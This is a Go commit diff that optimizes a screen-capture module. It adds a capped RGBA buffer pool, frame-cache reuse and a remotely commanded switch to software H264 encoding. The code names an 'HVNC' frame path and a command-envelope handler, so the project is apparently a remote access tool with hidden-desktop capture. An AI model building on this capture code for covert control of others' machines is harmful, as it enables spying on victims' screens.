small optimizations + allow for users to force software H264 since it's not slow as balls

This commit is contained in:
KingKunta
2026-07-06 14:00:34 -05:00
parent e0394ea1fa
commit f7e9da26f8
11 changed files with 171 additions and 27 deletions
+18 -4
View File
@@ -494,10 +494,11 @@ var (
statBlockRegions atomic.Int64
statBlockFallbacks atomic.Int64
overrideQuality atomic.Int64
overrideCodec atomic.Value
h264WarnOnce sync.Once
codecLogOnce sync.Once
overrideQuality atomic.Int64
overrideCodec atomic.Value
desktopSoftwareH264 atomic.Bool
h264WarnOnce sync.Once
codecLogOnce sync.Once
prevMu sync.Mutex
prevFrame *prevImage
@@ -627,6 +628,19 @@ func RequestDesktopFullFrame() {
RequestDesktopH264Keyframe()
}
func SetDesktopSoftwareH264(enabled bool) {
if desktopSoftwareH264.Swap(enabled) == enabled {
return
}
resetH264Encoder()
requestFullFrames(2)
log.Printf("capture: desktop software h264 %v", enabled)
}
func useDesktopSoftwareH264() bool {
return desktopSoftwareH264.Load()
}
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
@@ -10,7 +10,7 @@ import (
)
func tryBuildDirectH264Frame(display int) (wire.Frame, time.Duration, time.Duration, bool, error) {
if blockCodec() != "h264" || !useDesktopDuplication() {
if blockCodec() != "h264" || useDesktopSoftwareH264() || !useDesktopDuplication() {
return wire.Frame{}, 0, 0, false, nil
}
forceKeyframe := webrtcpub.ConsumeKeyframeRequest()
@@ -547,6 +547,10 @@ func closeH264Encoder(slot *h264FrameEncoder) {
}
func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
if stream == "desktop" && useDesktopSoftwareH264() {
log.Printf("capture: desktop software h264 requested; skipping native NVENC and Media Foundation hardware encoders")
return newMFSoftwareH264Encoder(width, height, fps)
}
if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil {
return enc, nil
} else {
@@ -592,6 +596,21 @@ func newMFH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
if fallbackErr != nil {
return nil, fallbackErr
}
return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
}
func newMFSoftwareH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
if err := ensureMFStartup(); err != nil {
return nil, err
}
transform, fallbackHardware, fallbackProvider, fallbackErr := createSoftwareH264Transform()
if fallbackErr != nil {
return nil, fallbackErr
}
return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
}
func newMFH264EncoderFromSoftwareTransform(transform *mfTransform, fallbackHardware bool, fallbackProvider string, width, height, fps int) (*mfH264Encoder, error) {
enc := newMFH264EncoderFromTransform(transform, width, height, fps, fps, fallbackHardware, fallbackProvider, MFVideoFormat_NV12, "NV12")
if err := enc.configure(); err != nil {
enc.Close()
+53 -9
View File
@@ -2,23 +2,38 @@ package capture
import (
"image"
"sync"
"sync/atomic"
)
var rgbaPool sync.Pool
const (
maxPooledRGBABuffers = 8
maxPooledRGBABytes = 64 << 20
maxTotalRGBABytes = 192 << 20
)
var (
rgbaPool = make(chan []byte, maxPooledRGBABuffers)
pooledRGBABytes atomic.Int64
)
func GetRGBA(w, h int) *image.RGBA {
need := w * h * 4
if need <= 0 {
return image.NewRGBA(image.Rect(0, 0, w, h))
}
if v := rgbaPool.Get(); v != nil {
if buf, ok := v.([]byte); ok && cap(buf) >= need {
return &image.RGBA{
Pix: buf[:need],
Stride: w * 4,
Rect: image.Rect(0, 0, w, h),
for attempts := len(rgbaPool); attempts > 0; attempts-- {
select {
case buf := <-rgbaPool:
pooledRGBABytes.Add(-int64(cap(buf)))
if cap(buf) >= need && cap(buf) <= maxReusableCapacity(need) {
return &image.RGBA{
Pix: buf[:need],
Stride: w * 4,
Rect: image.Rect(0, 0, w, h),
}
}
default:
attempts = 0
}
}
return image.NewRGBA(image.Rect(0, 0, w, h))
@@ -28,5 +43,34 @@ func PutRGBA(img *image.RGBA) {
if img == nil || len(img.Pix) == 0 {
return
}
rgbaPool.Put(img.Pix)
buf := img.Pix
capacity := cap(buf)
if capacity <= 0 || capacity > maxPooledRGBABytes {
return
}
for {
cur := pooledRGBABytes.Load()
if cur+int64(capacity) > maxTotalRGBABytes {
return
}
if pooledRGBABytes.CompareAndSwap(cur, cur+int64(capacity)) {
break
}
}
select {
case rgbaPool <- buf:
default:
pooledRGBABytes.Add(-int64(capacity))
}
}
func maxReusableCapacity(need int) int {
limit := need * 2
if limit < need+(1<<20) {
limit = need + (1 << 20)
}
if limit > maxPooledRGBABytes {
limit = maxPooledRGBABytes
}
return limit
}
@@ -687,7 +687,9 @@ func (s *duplicationState) closeLocked() {
s.bounds = image.Rectangle{}
s.cursorBounds = image.Rectangle{}
s.display = -1
PutRGBA(s.lastBase)
s.lastBase = nil
PutRGBA(s.lastFrame)
s.lastFrame = nil
s.lastFrameAt = time.Time{}
s.cursorScratch = nil
@@ -807,11 +809,15 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
}
}
// Cache an independent clone so the timeout path (which serves the cached
// Cache an independent copy so the timeout path (which serves the cached
// frame back to callers) doesn't alias a buffer the caller will return to
// the RGBA pool via PutRGBA.
s.lastBase = cloneRGBA(img)
img = s.composeFrame(img, width, height)
captured := img
s.copyLastBaseLocked(captured)
img = s.composeFrame(captured, width, height)
if img != captured {
PutRGBA(captured)
}
if img == s.cursorScratch {
// cursorScratch is reused across captures; clone before returning so
// the next compose doesn't write into a buffer the caller has pooled.
@@ -823,6 +829,26 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
return img, nil
}
func (s *duplicationState) copyLastBaseLocked(src *image.RGBA) {
if src == nil {
PutRGBA(s.lastBase)
s.lastBase = nil
return
}
width := src.Rect.Dx()
height := src.Rect.Dy()
need := len(src.Pix)
if s.lastBase != nil && cap(s.lastBase.Pix) >= need && cap(s.lastBase.Pix) <= need*2 {
s.lastBase.Pix = s.lastBase.Pix[:need]
s.lastBase.Stride = width * 4
s.lastBase.Rect = image.Rect(0, 0, width, height)
copy(s.lastBase.Pix, src.Pix)
return
}
PutRGBA(s.lastBase)
s.lastBase = cloneRGBA(src)
}
func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, int, int, time.Duration, time.Duration, bool, error) {
capStart := time.Now()
s.mu.Lock()
@@ -774,6 +774,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
softwareH264 := false
reason := ""
source := ""
if payload != nil {
@@ -783,6 +784,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["codec"].(string); ok {
codec = v
}
if v, ok := payload["softwareH264"].(bool); ok {
softwareH264 = v
}
if v, ok := payload["reason"].(string); ok {
reason = strings.TrimSpace(v)
}
@@ -790,11 +794,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
source = strings.TrimSpace(v)
}
}
softwareH264 = softwareH264 && strings.EqualFold(strings.TrimSpace(codec), "h264")
if source != "" || reason != "" {
log.Printf("desktop: set quality=%d codec=%s source=%s reason=%s", quality, codec, source, reason)
log.Printf("desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s", quality, codec, softwareH264, source, reason)
} else {
log.Printf("desktop: set quality=%d codec=%s", quality, codec)
log.Printf("desktop: set quality=%d codec=%s software_h264=%v", quality, codec, softwareH264)
}
capture.SetDesktopSoftwareH264(softwareH264)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil